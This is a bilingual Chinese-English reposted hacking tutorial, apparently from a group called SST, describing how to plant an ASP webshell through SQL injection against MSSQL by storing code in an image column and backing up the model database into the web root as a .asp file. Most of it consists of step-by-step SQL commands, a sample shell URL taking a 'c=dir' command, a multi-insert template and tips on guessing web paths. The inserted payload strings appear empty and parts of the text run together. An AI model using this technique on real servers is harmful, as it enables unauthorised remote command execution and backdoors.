這是一篇關於通過SQL注射MSSQL數據庫得到webshell的文章。自從我發現這個漏洞（2003年7月）以來，這個方法基本是有效的。你不許要有sa權限，只要是一個一個數據庫所有者就行了、
Open your Query Analyzer, following steps will generate a strange but useable webshell(suppose your web root is g:/wwwtest and the database model is intact)
use model;
create table cmd (str image);
insert into cmd(str) values ('');
backup database model to disk='g:/wwwtest/l.asp';
打開你的Query分析器，按照說明步驟操作，你將生成一個奇怪的當示範實用的webshell.(假設你的網頁的根目錄是g:/wwwtes 並且要操作的數據庫model是完整的)
use model;
create table cmd (str image);
insert into cmd(str) values ('');
backup database model to disk='g:/wwwtest/l.asp'
Click run and the database model has been backuped into the web publish directory. Download? No, visit this file, you have got the shell...
http://202.119.9.42/l.asp?c=dir
點擊運行。數據庫 model已經被備份倒網站的發佈目錄。下載？不使用這個文件你就得到了shell
http://202.119.9.42/l.asp?c=dir
Here is the explanation: the ASP(VB) interpreter will ignore the characters those not between "", so naming the backup file as .asp and visiting it won't cause a 500 error if it contains no "". By default, the database stores its data in a "loose" way(e.g. the stored string "Time" will be seen in the backup file as the type of "T i m e"), so the probability that the backup file contains "" is low. These are two preconditions.
解釋：ASP(VB)解釋器會忽略""之間的字。如果備份文件不包括""將備份文件命名爲.asp 並訪問它不會產生 500 錯誤。缺省下，數據庫以一種"鬆散"的方法來儲存它的數據（比如，儲存的排序"Time"在備份文件中將會是"T i m e"類型的），因此，備份文件很有可能丟失""。這是兩前提。
But how we could make it a webshell? The storage mode of image or bin type is different, the data in the backup file appear exactly the format of what we have wrote, that is, those what we insert into the table/database with the type of image will NOT be output in the "loose" way in the backup file, but the original format. Once we create a table with a image segment and insert some evil codes, we could backup a shell!
當我們怎麼將它構造成webshell呢？鏡像和一般的文件存儲模式是不同的。我們說寫入的數據備份文件將以原樣的格式保存，因此我們以鏡像類型插入數據庫的數據不會以鬆散的在備份文件中存在而是原始類型。一旦我們以鏡像的分段創建一個表，並插入一些惡意代碼我可以備份一個shell.
Er, here also are some cons:
1) the output directort should be the physical web directory. Usually, we can only guess. For virtual host, perhaps we could reveal the path in other sites and other ways.
2) the database visitor should have the backup privilege. Some abnormal webmaster gave only select and insert privilege, once you meet such webmaster, abandon this way.
兩點侷限性
1) The 輸入目錄必須時物理的網站目錄。通常的情況下我們只要去猜。對於虛禮主機，我們暴露路徑在其他的站點。
2）數據庫訪問者要有備份的權限。一些變態的網管只會給選擇和插入的權限。一旦你遇到這樣色網管放棄這種方法。
Here are the pros:
1) it will give you the webshell once your have the backup privilege. A dbowner have that!
2) it gives a new method of putting backdoor. Suppose your database is ACCESS, and you name it .asp to prevent from downloading. It COULD be a webshell ;)
兩點好處
1） 它可以給你webshell，只要你有備份的權限。一個數據庫的主人就有這個權限。
2） 這給了一個新的方法去開後門。假設你的數據庫是access的你，命名它.asp防止被下載，他可能是一個webshell.
Oh, I nearly forget the most important thing: data which are in different insert phrases are NOT tangent, that means if your webshell codes are too long, you should do as the follow:
我差點忘記最重要的數據在不同的插入語句中接觸的，如果你的webshell代碼太長可以像一些這樣處理。
========= CUT ME HERE ======================================================
use model
create table cmd (str image);
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('');
insert into cmd(str) values ('" method="POST">');
insert into cmd(str) values ('
');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');backup database model to disk='c:/l.asp';========= CUT ME HERE ====================================================== To those who did not successfully get the shell: Make your testing database(e.g. model) INTACT.如果沒有成功得到shell測試數據庫的完整性。To those who surf on the web: declare @a sysname; select @a=db_name()對那些網上的弄潮兒To those who thought it is too simple: Try the way backup log or think about how to access all file in a similar way ;)對於那些覺得很簡單的，嘗試這種辦法備份日誌或者想想怎樣訪問所有的文件用類似的方法、Greets: All SST Members. Yang Shuo, my girl friend. 編者:以上是爲了方便英文不好的朋友大致翻譯了下,下面是辣m從國外網站找的原文:Backup a shell]From : SST (www.0x557.org)Author : Swan (Swan[at]0x557[dot]org) This article is about how to get a webshell when SQL Injecting under MSSQL database. The method seems work well since the day I found her(July 2003). You don't need the sa privilege, just a dbowner is Okay. Open your Query Analyzer, following steps will generate a strange but useable webshell(suppose your web root is g:/wwwtest and the database model is intact)use model;create table cmd (str image);insert into cmd(str) values ('');backup database model to disk='g:/wwwtest/l.asp'; Click run and the database model has been backuped into the web publish directory. Download? No, visit this file, you have got the shell...http://202.119.9.42/l.asp?c=dir Here is the explanation: the ASP(VB) interpreter will ignore the characters those not between "", so naming the backup file as .asp and visiting it won't cause a 500 error if it contains no "". By default, the database stores its data in a "loose" way(e.g. the stored string "Time" will be seen in the backup file as the type of "T i m e"), so the probability that the backup file contains "" is low. These are two preconditions. But how we could make it a webshell? The storage mode of image or bin type is different, the data in the backup file appear exactly the format of what we have wrote, that is, those what we insert into the table/database with the type of image will NOT be output in the "loose" way in the backup file, but the original format. Once we create a table with a image segment and insert some evil codes, we could backup a shell! Er, here also are some cons:1) the output directort should be the physical web directory. Usually, we can only guess. For virtual host, perhaps we could reveal the path in other sites and other ways.2) the database visitor should have the backup privilege. Some abnormal webmaster gave only select and insert privilege, once you meet such webmaster, abandon this way. Here are the pros:1) it will give you the webshell once your have the backup privilege. A dbowner have that!2) it gives a new method of putting backdoor. Suppose your database is ACCESS, and you name it .asp to prevent from downloading. It COULD be a webshell ;)3) ... Oh, I nearly forget the most important thing: data which are in different insert phrases are NOT tangent, that means if your webshell codes are too long, you should do as the follow:========= CUT ME HERE ======================================================use modelcreate table cmd (str image);insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values (' " method="POST">');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');insert into cmd(str) values ('');backup database model to disk='c:/l.asp';========= CUT ME HERE ====================================================== To those who did not successfully get the shell: Make your testing database(e.g. model) INTACT.To those who surf on the web: declare @a sysname; select @a=db_name()To those who thought it is too simple: Try the way backup log or think about how to access all file in a similar way ;)Greets: All SST Members. Yang Shuo, my girl friend.